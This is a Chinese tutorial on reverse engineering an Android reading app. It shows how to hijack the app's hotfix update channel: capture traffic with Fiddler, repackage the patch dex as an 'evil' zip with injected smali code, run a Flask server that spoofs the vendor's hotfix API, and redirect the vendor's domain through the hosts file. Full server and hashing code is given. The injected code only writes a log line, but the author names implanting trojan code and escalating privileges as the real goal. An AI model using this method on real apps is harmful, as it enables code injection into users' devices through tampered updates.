Android逆向分析实例(四)-米读极速版日志植入
准备:
1. 配置Fiddler抓包环境
2. 下载米读极速版(密码:d0r2)
3. Android手机/模拟器与电脑连同一个网络
1. Fiddler配置
首先去官网下载最新版的Fiddler;
下载完后傻瓜式安装就行了;
然后打开软件,先不要急着抓包,首先点击Tools -> Options;
设置HTTPS选项;
设置Connections选项;
点击Actions第二项"Export Root Certificate to Desktop"生成证书;这时候桌面会生成"FiddlerRoot.cer"证书文件;确定后关闭Fiddler;
2. 模拟器配置
我这里用的是模拟器(MuMu模拟器64位),手机配置也差不多!
打开模拟器设置,点击WLAN -> 鼠标左键长按 -> 修改网络;
手动设置代理 -> 代理主机名(本机ip) -> 代理端口;
将刚刚生成FiddlerRoot.cer文件导入模拟器并安装(拷到模拟器的共享文件夹中);
至此抓包环境全部配置完毕;
3. 抓包
打开Fiddler,并在模拟器中启动米读极速版;
在Fiddler中按 'Ctrl + F' 搜索 .zip后缀的文件(app客户端热更新时会向服务器发出请求,服务器会返回一个json格式的报文(json里标明了要下载的包的url以及版本等信息)供客户端下载);
双击查看服务器的响应报文;
将json数据格式化:
{
"code": 0,
"message": "成功",
"showErr": 0,
"currentTime": 1625142319,
"data": {
"data": [
{
"sid": 499,
"pkgId": 505,
"url": "https://apk.1sapp.com/miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip",
"length": 2730,
"name": "ReadvoiceFix66",
"version": "66",
"md5": "ec8ab28b08261fe73f7c08d0f8c7cae0"
}
]
}
}
在浏览器中输入url:https://apk.1sapp.com/miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip
会下载一个名为 'miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip' 的压缩包,这个压缩包里就包含着app打补丁或热更新所需要的classes.dex文件。
压缩包文件内容:
解压后将classes.dex文件用jadx打开;(下面会查看MethodPatchEntry类是否被加载到内存中)
验证该dex文件是否被加载,可以通过dex文件的类是否被加载到内存中来判断!(判断某个类是否被加载,为下文我们在该类的构造函数中插入日志输出语句做铺垫)。
4. Objection查看内存中加载的类
安装objection;
$ pip install objection
附:objection用法学习见:Frida进阶:内存漫游、hook anywhere、抓包
这里可以用Objection 来查看内存中是否加载了某个类(用frida也可以,但是相对要麻烦些,因为frida要编写脚本,并且加载的类很多,要想全部输出显示必须输出到文件中才好查找目标类)
首先在模拟器中开启frida,frida配置可以转到这篇文章:Frida框架配置
新建命令行窗口:
$ frida-ps -U #查看所有进程
objection注入进程:
$ objection -g com.lechuan.mdwz explore
查看MethodPatchEntry类是否被加载:
$ android hooking search classes MethodPatchEntry
可以看到在内存中搜索到了这个类;
5. 修改classes.dex文件
首先用apktool将classes.dex文件反编译成smali文件,接下来修改MethodPatchEntry.smali文件,加入日志输出语句(尽量写在构造函数中,因为构造函数一定会被调用,而其它函数不一定);
修改完后重打包成classes.dex文件,将dex文件和MANIFEST.MF文件压缩,命名为'miduspeed_sep_hotfix_1.55.0.0607.1200_002_531-evil.zip'。
6. 将修改后的.zip文件提供给app执行
编写midu-server.py
from flask import Flask,jsonify
import time
app = Flask(__name__)
@app.route('/app/getHotFixV2/20')
#当执行GET https//127.0.0.1/app/getHotFixV2/20 请求时会执行下面的request_server()函数(但是客户端发送的请求是 GET https://api-platform.1sapp.com/app/getHotFixV2/20,怎样在客户端发送这个请求时也执行下面的函数呢?这就要用到下文的hosts),并返回respon里的json数据给app。这里我们首先把刚刚修改的.zip文件上传到自己的服务器上,并将url地址改成我们自己服务器上的.zip文件地址,然后修改文件的length(字节大小)和md5值,最后加上本地的证书
def request_server():
respon = {
"code": 0,
"message": "成功",
"showErr": 0,
"currentTime": 1625035561,
"data": {
"data": [
{
"sid": 499,
"pkgId": 505,
"url": "http://download.lxh2cwl.xyz/miduspeed_sep_hotfix_1.55.0.0607.1200_002_531-evil.zip",
"length": 2797,
"name": "ReadvoiceFix66",
"version": "66",
"md5": "11b5662257d99005054c05f5f242e826"
}
]
}
}
return jsonify(respon)
app.run('0.0.0.0',
debug=True,
port=443,
ssl_context=('localhost/cert.pem', 'localhost/key.pem'))
#本地证书
生成本地证书可以看这篇文章:cert.pem和key.pem文件生成,如果不想自己生成,也可以从这里下载:localhost.zip
flask学习可以跳转到这:https://www.w3cschool.cn/flask/flask_routing.html
生成文件的md5值:MD5.py
import hashlib
import os
def get_md5(file_path1):
f = open(file_path,'rb')
md5_obj = hashlib.md5()
while True:
d = f.read(8096)
if not d:
break
md5_obj.update(d)
hash_code = md5_obj.hexdigest()
f.close()
md5 = str(hash_code).lower()
return md5
if __name__ == "__main__":
file_path = r'C:\Users\lxh\Desktop\米读极速版\miduspeed_sep_hotfix_1.55.0.0607.1200_002_531-evil.zip'
#修改文件路径
md5 = get_md5(file_path)
print(md5)
进入到C:\Windows\System32\drivers\etc,修改本地的hosts文件:
这里我们需要将本地的ip与米读极速版的服务器域名 api-platform.1sapp.com 绑定,以便app客户端发出 GET https://api-platform.1sapp.com/app/getHotFixV2/20 请求时相当于 GET https://127.0.0.1/app/getHotFixV2/20,然后本地会返回一个修改后的json数据给客户端,客户端就会根据json中的url地址去我们自己的服务器上下载已经修改过的.zip压缩包。
拓展:
hosts文件的作用:就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。
域名与IP的关系:
- 你要浏览网页需要在整个互联网上找到对方的电脑,那你就需要输入对方的IP才可以访问,比如大家可以在浏览器里输入这个IP地址【14.215.177.39】你们可以看看打开的是不是百度的首页。你靠着IP地址可以访问百度,你输入https://www.baidu.com也可以上百度,这是什么原理呢?
- 在早期的时候,上网就是这么麻烦,你想要访问对方的网站,你必须要知道对方的IP,然后在你的浏览器里输入IP地址,然后就可以访问了,但是IP地址是4组数字,记IP地址的难度不亚于背一个陌生人的手机号,于是乎,我们用一串英文字母来代替IP地址,这就是网站域名,比如百度的网站域名就是https://www.baidu.com,而百度的IP地址就是14.215.177.39,网站域名很好记,而且域名也可以自定义。
- 但是这里就有一个问题了,你输入的是域名,你的电脑该怎么将他变成IP地址呢?就比如你输入的是https://www.baidu.com,为什么你的电脑知道对方的IP是14.215.177.39呢?这个东西就是hosts文件,hosts文件就在你的C:\windows\system32\drivers\etc文件夹下,他相当于电脑的电话本,他记录着每一个域名对应的IP地址,当你输入域名而不是IP的时候,他就会在这个电话本里找到对应的域名,然后把他转化成IP地址。
DNS解析服务器:
- 但是这样也有问题,那就是Hosts文件是有限的,就和你不可能拥有这个世界上所有人的电话号码一样。既然我们自己不可能拥有全世界所有人的电话号码,但是我们可以将收集电话号码这个任务交给一个专门来干这个活的人,然后大家想要问电话的时候去他那查一下就可以了。
- 这就是DNS服务器,DNS服务器有着相当全的域名和IP,当你输入一串网站的时候,这串网站并不会直接访问,而是先将这个网站发送给DNS服务器,DNS服务器帮你把这串网站变成了IP地址,然后返回给你的电脑。
什么是DNS劫持?
- DNS服务器会告诉你A网站的IP是A,B网站的IP是B,那假如你输入的A网站域名,但是他给你B的IP,你是不是就访问到别的网站去了?
- 既然DNS服务器可以这么玩,我们是不是可以将用户引导到我的网站上?比如你要看个电影,然后你输入了爱奇艺的官网,然后我作为DNS服务器,我把优酷的IP返回给你,最后就是你虽然输入的爱奇艺官网,但是却得到了优酷的IP并访问了优酷的IP,进入了优酷的网站上。
7. 最终步
这里有个坑:米聊极速版app只有在第一次启动时才会下载那个.zip文件(这一点当时困扰了我好久),所以我们首先得重新安装这个app。
- 新建cmd,准备日志输出
$ adb logcat > E:/midu.txt #保存在E盘根目录下,文件名为midu.txt
2. 运行midu-server.py
$ python midu-server.py
3. 重新打开fidder
4. 启动米读极速版app
在日志输出窗户输入Ctrl + C停止日志抓取,然后在E盘根目录打开midu.txt文件,搜索'lvxinghang'
可以看到app成功输出了我们加入的日志!
输出日志对我们来说没有什么用处,真正有用的地方是利用这一点植入自己的木马code,然后获取app的一些信息,提权等,但这个自己目前还不会,后面还得继续学习~~
附:我们的dex文件会被下载到模拟器中的 /data/data/com.lechuan.mdwz/app_andpatch/b5e4499d54918452539abe20935a3ebe/comlechuanmdwz/ReadvoiceFix66_66 目录下